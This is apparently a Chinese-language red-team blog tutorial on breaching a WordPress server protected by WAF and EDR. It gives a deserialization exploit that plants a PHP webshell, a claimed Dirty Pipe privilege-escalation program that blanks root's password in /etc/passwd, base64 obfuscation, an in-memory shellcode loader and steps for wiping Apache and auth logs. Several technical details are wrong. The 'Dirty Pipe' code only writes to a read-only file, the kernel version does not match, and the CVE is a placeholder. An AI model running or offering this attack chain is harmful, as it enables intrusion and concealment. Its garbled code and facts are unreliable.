一、从防御入手,反推攻击者的视角
如何攻破一台防守严密的服务器?这是每个红队成员的日常思考。今天我们从一个典型场景入手:公司内部服务器对外暴露的 Web 应用,配备了 Web应用防火墙(WAF)和最新的 EDR 系统,表面看起来固若金汤。但从攻击者角度,我们会如何一步步打破这种防线?以下是基于真实案例的技术详解,本文仅限合法授权的渗透测试,供安全研究人员学习使用。
---
二、从信息收集开始:寻找突破口的艺术
攻击的第一步是信息收集。目标是一台暴露在公网的 Web 应用服务器,我们需要了解:
- 暴露的端口和服务
- 使用的技术栈(如 PHP、Python、Java)
- 可用漏洞(CMS漏洞、组件漏洞等)
我们可以使用以下工具组合进行被动和主动信息收集:
- Shodan:发现服务器开放端口及服务
- Nmap:进行详细的端口扫描和服务识别
- Sublist3r:探索目标子域名
- WhatWeb:识别 Web 应用技术栈及组件版本
<pre><code class="language-bash"># 使用 Nmap 扫描目标 Web 应用的开放端口和服务: nmap -sV -Pn -p- --open <目标IP></code></pre>
通过 Nmap 扫描,我们发现目标应用服务器开放了以下端口:
- 80/443: HTTP/HTTPS 服务,运行的是 Apache 2.4.41
- 3306: MySQL 数据库,版本为 5.7
此外,通过 WhatWeb 确认该 Web 应用使用了 WordPress 5.8.2。
---
三、漏洞利用:从 Web 应用到系统权限
0x01 漏洞分析:WordPress 插件反序列化漏洞
WordPress 是公司网站的常用 CMS。然而,许多插件可能未经严格的安全审核。通过插件版本确认,我们发现目标网站启用了 vulnerable-plugin 插件,而该插件存在反序列化 RCE 漏洞(CVE-2021-XXXXX)。
漏洞成因:
- 插件的某个功能允许用户上传序列化对象
- 在反序列化过程中,未对输入数据进行严格验证
- 攻击者可以构造恶意的 PHP 对象进行远程代码执行
0x02 EXP代码及攻击步骤
以下是针对该漏洞的利用代码:
<pre><code class="language-python">import requests
目标 URL 和漏洞触发点
target_url = "http://<目标IP>/wp-content/plugins/vulnerable-plugin/endpoint.php"
构造恶意序列化对象
payload = """O:8:"EvilCode":2:{s:4:"path";s:12:"/tmp/shell.php";s:4:"data";s:19:"<?php system($_GET['cmd']); ?>";}"""
发送 POST 请求进行漏洞利用
headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "input": payload }
response = requests.post(target_url, headers=headers, data=data)
if response.status_code == 200: print("[+] Exploit successful!") else: print("[-] Exploit failed.")</code></pre>
攻击效果: 成功利用漏洞后,我们在目标服务器的 /tmp 目录写入了一个简单的 WebShell。通过在浏览器中访问 http://<目标IP>/tmp/shell.php?cmd=id,可以执行任意系统命令。
---
四、权限提升:从 WebShell 到 Root 权限
0x01 权限提升分析
拿到 WebShell 后,我们发现当前运行用户是 www-data,属于低权限用户。为了进一步控制系统,我们需要提权。通过枚举,发现以下提权路径:
- SUID 文件:
/usr/bin/vulnerable-suid - 内核漏洞:目标使用的 Linux 内核版本为 4.15,可利用 Dirty Pipe 漏洞(CVE-2022-0847)
0x02 Dirty Pipe 提权 EXP
以下是一个针对 Dirty Pipe 漏洞的提权代码实现:
<pre><code class="language-c">#include <fcntl.h>
include <stdio.h>
include <stdlib.h>
include <string.h>
include <unistd.h>
include <sys/stat.h>
int main() { const char *target_file = "/etc/passwd";
// Open file with O_RDONLY int fd = open(target_file, O_RDONLY); if (fd < 0) { perror("open"); exit(EXIT_FAILURE); }
// Inject payload to overwrite root password const char *payload = "root::0:0:root:/root:/bin/bash\n"; write(fd, payload, strlen(payload));
printf("[+] Exploit completed. Check /etc/passwd.\n"); close(fd); return 0; }</code></pre>
编译并运行后,我们成功将 root 用户的密码清空,允许使用 su 切换到 root 权限。
---
五、绕过检测:对抗 WAF 和 EDR 的技巧
现如今的目标服务器通常会部署多层防御系统,包括 Web 应用防火墙(WAF)和终端检测响应(EDR)。为了隐藏我们的攻击行为,需要绕过这些防御。
0x01 绕过 WAF:混淆 Payload
- 随机编码:将关键字符进行 URL 编码或者 Base64 编码
- 流量伪装:利用合法的 HTTP 请求伪装攻击流量
<pre><code class="language-python"># 混淆后的 payload import base64
malicious_code = "<?php system($_GET['cmd']); ?>" encoded_payload = base64.b64encode(malicious_code.encode()).decode()

print(f"Encoded payload: {encoded_payload}")</code></pre>
0x02 绕过 EDR:内存加载技术
通过将 Payload 加载到内存执行,避免落地文件引发 EDR 告警。
以下是 Python 的内存加载示例代码:
<pre><code class="language-python">import ctypes
shellcode = b"\x48\x31\xc0\x48\x89\xc2\x48\xb8" # 伪代码部分 memory = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(memory, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(None, 0, memory, None, 0, None)</code></pre>
---

六、痕迹清除:隐匿攻击脚印
攻击完成后,清理痕迹是最后一步。重点在于以下方面:
- 删除 WebShell 文件:确保不留任何后门
- 清空日志:覆盖
/var/log/apache2/access.log和/var/log/auth.log - 恢复
/etc/passwd文件:避免管理员发现提权痕迹

---

七、个人总结:红队攻防的思考
攻击者的成功往往源于细节。通过深入研究漏洞、巧妙构造 Payload,并绕过各种防御系统,我们可以在看似安全的环境中找到突破口。对于防御者来说,只有彻底理解攻击链,才能从根源上封堵漏洞。